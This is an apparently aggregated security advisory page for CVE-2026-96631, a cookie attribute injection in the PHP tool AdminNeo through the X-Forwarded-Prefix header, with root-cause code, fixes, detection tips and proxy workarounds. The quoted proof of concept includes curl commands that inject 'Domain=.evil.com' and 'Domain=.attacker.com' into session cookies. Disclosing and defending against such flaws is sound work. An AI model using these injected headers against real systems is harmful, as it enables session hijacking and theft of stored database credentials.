CVE-2026-96631: AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers
AdminNeo 4.6.0 through 5.5.0 builds cookie paths from the client-controlled X-Forwarded-Prefix header without filtering semicolons. An attacker who can set that header can inject cookie attributes such as Domain into the neo_sid session cookie and the neo_key cookie that protects stored database passwords. Upgrade adminneo-org/adminneo to 5.5.1.
Published Oct 30, 2026 · Analysis Oct 31, 2026
What an attacker can do
AdminNeo was changed to honour X-Forwarded-Prefix for reverse proxy setups. In admin/include/bootstrap.inc.php the header value is prepended to REQUEST_URI with no validation. The cookie() function in admin/include/functions.inc.php then writes REQUEST_URI into the path= attribute of a hand-built Set-Cookie header. PHP's session_set_cookie_params call uses the same tainted value for neo_sid.
A semicolon in the header ends the path attribute, so everything after it is parsed by the browser as further cookie attributes. The advisory's proof of concept sends X-Forwarded-Prefix: /adminneo; Domain=.evil.com and gets Domain=.evil.com back in Set-Cookie.
The attacker needs to influence the header: a reverse proxy that passes client headers through, a hostile upstream proxy, or a man-in-the-middle position. The CVSS vector requires user interaction. With a widened Domain, the victim's browser sends neo_sid and neo_key to the attacker's host. That allows session takeover and decryption of database credentials saved in the session. The attacker can also set Path, Secure and SameSite for session fixation.
Who is affected
Composer package adminneo-org/adminneo, versions >= 4.6.0 and < 5.5.1. Deployments behind a reverse proxy (Traefik, nginx, HAProxy) that forwards a client-supplied X-Forwarded-Prefix are the realistic exposure. Check the installed version:
composer show adminneo-org/adminneoIf you run the single-file adminneo.php, check the version shown on the page.
adminneo-org/adminneo
- Ecosystem
- Composer (PHP)
- Affected
- >= 4.6.0, < 5.5.1
- Fixed in
- 5.5.1
- Check
composer show adminneo-org/adminneo
How to fix it
Upgrade to 5.5.1. The release notes list "Ignore invalid X-Forwarded-Prefix" as a bugfix, along with escaping of REQUEST_URI.
composer update adminneo-org/adminneoWorkaround from the advisory: make the proxy set X-Forwarded-Prefix to a fixed trusted value instead of forwarding the client's. In nginx use fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;. In Traefik use a stripPrefix middleware with the /adminneo prefix.
How to tell if you were hit
Search reverse proxy and web server logs for requests to AdminNeo that carry an X-Forwarded-Prefix header containing a semicolon, especially one followed by Domain=, Path= or SameSite=. Log the header if you do not already. Check Set-Cookie responses from your instance for a Domain attribute or a path that contains a semicolon. If you find signs of abuse, end all sessions and rotate database passwords stored through AdminNeo.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
AdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the X-Forwarded-Prefix HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including Domain, Path, Secure, and SameSite into all Set-Cookie response headers emitted by AdminNeo.
This allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., Domain=.evil.com), causing the victim's browser to send AdminNeo's neo_sid (session ID) and neo_key (database password encryption key) cookies to the attacker's server on subsequent requests.
Originally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h
Vulnerable Code
Root cause 1 - Unsanitized header prepended to `REQUEST_URI` (admin/include/bootstrap.inc.php, lines 50–52):
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}The client-supplied X-Forwarded-Prefix header is concatenated into REQUEST_URI with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).
Root cause 2 - Manual `Set-Cookie `header construction without escaping (admin/include/functions.inc.php, lines 416–424):
function cookie(string $name, string $value, int $lifetime = 2592000): void
{
header("Set-Cookie: $name=" . rawurlencode($value)
. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
. (HTTPS ? "; secure" : "")
. "; HttpOnly; SameSite=lax",
false);
}The tainted REQUEST_URI is interpolated directly into the path= attribute of the Set-Cookie header. Since semicolons are not stripped or escaped, any ;-separated directives injected via X-Forwarded-Prefix become valid cookie attributes parsed by the browser.
Root cause 3 - Session cookie also tainted (admin/include/bootstrap.inc.php, line 61):
session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);The PHP session cookie (neo_sid) path is similarly derived from the tainted REQUEST_URI, extending the same vulnerability to the session cookie set by PHP itself.
Impact
- Session hijacking: The
neo_sidsession cookie is sent to the attacker's domain, allowing full session takeover. - Credential theft: The
neo_keycookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials. - Session fixation: An attacker can inject arbitrary
Path,SameSite, andSecureattributes, manipulating cookie behavior. - Wide applicability: The
X-Forwarded-Prefixheader was specifically added to support reverse proxy deployments (TraefikPathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.
Affected Cookies
|**Cookie**|**Content**|**Risk**| |`neo_sid`|PHP session ID|Session hijacking| |`neo_key`|Encryption key for stored DB passwords|Credential theft| |`neo_settings`|User preferences|Low (information disclosure)|
Proof of Concept
# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax
# Malicious request — inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED
# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...Recommended Fix
- Sanitize `X-Forwarded-Prefix`: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the
X-Forwarded-Prefixvalue before using it. - Use `setcookie()` / `setrawcookie()`: Replace the manual
header("Set-Cookie: ...")construction incookie()with PHP's built-insetcookie()function, which properly escapes attribute values. - Validate `REQUEST_URI` before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie
pathattribute (;,,, whitespace per RFC 6265).
// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
$prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
$_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}Server Based Workaround Via Config
Configure the reverse proxy to set X-Forwarded-Prefix to a static, trusted value rather than forwarding the client-supplied header:
# nginx — secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo; # static value, not $http_x_forwarded_prefix# Traefik, use middleware instead of client headers:
middlewares:
strip-prefix:
stripPrefix:
prefixes:
- "/adminneo"Credited to retkoussa, vrana.
Questions
- Does CVE-2026-96631 need user interaction?
Yes. The CVSS 3.1 vector sets UI:R. The victim's browser must receive the poisoned Set-Cookie response and then send requests to the attacker's domain. The attacker must also be able to influence the X-Forwarded-Prefix header.
- Which AdminNeo versions are affected by the X-Forwarded-Prefix cookie injection?
Versions from 4.6.0 up to but not including 5.5.1. The patched version is 5.5.1.
- Can I mitigate without upgrading?
Yes. The advisory says to configure the reverse proxy to set X-Forwarded-Prefix to a static trusted value rather than passing the client's header, using fastcgi_param in nginx or a stripPrefix middleware in Traefik.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-59978
AdminNeo: version-cache array injection causes persistent denial of service
high7.5Oct 30, 2026CVE-2026-96629
AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery
medium6.8Oct 30, 2026CVE-2026-96630
AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
high7.2Oct 30, 2026CVE-2026-96632
AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
high8.2Oct 30, 2026CVE-2026-96633
AdminNeo SQLite Database-List Drop Arbitrary File Deletion
high8.1Oct 30, 2026CVE-2026-96634
AdminNeo SQLite: multi_query Incorrect Check of Function Return Value RCE
medium6.9Oct 30, 2026
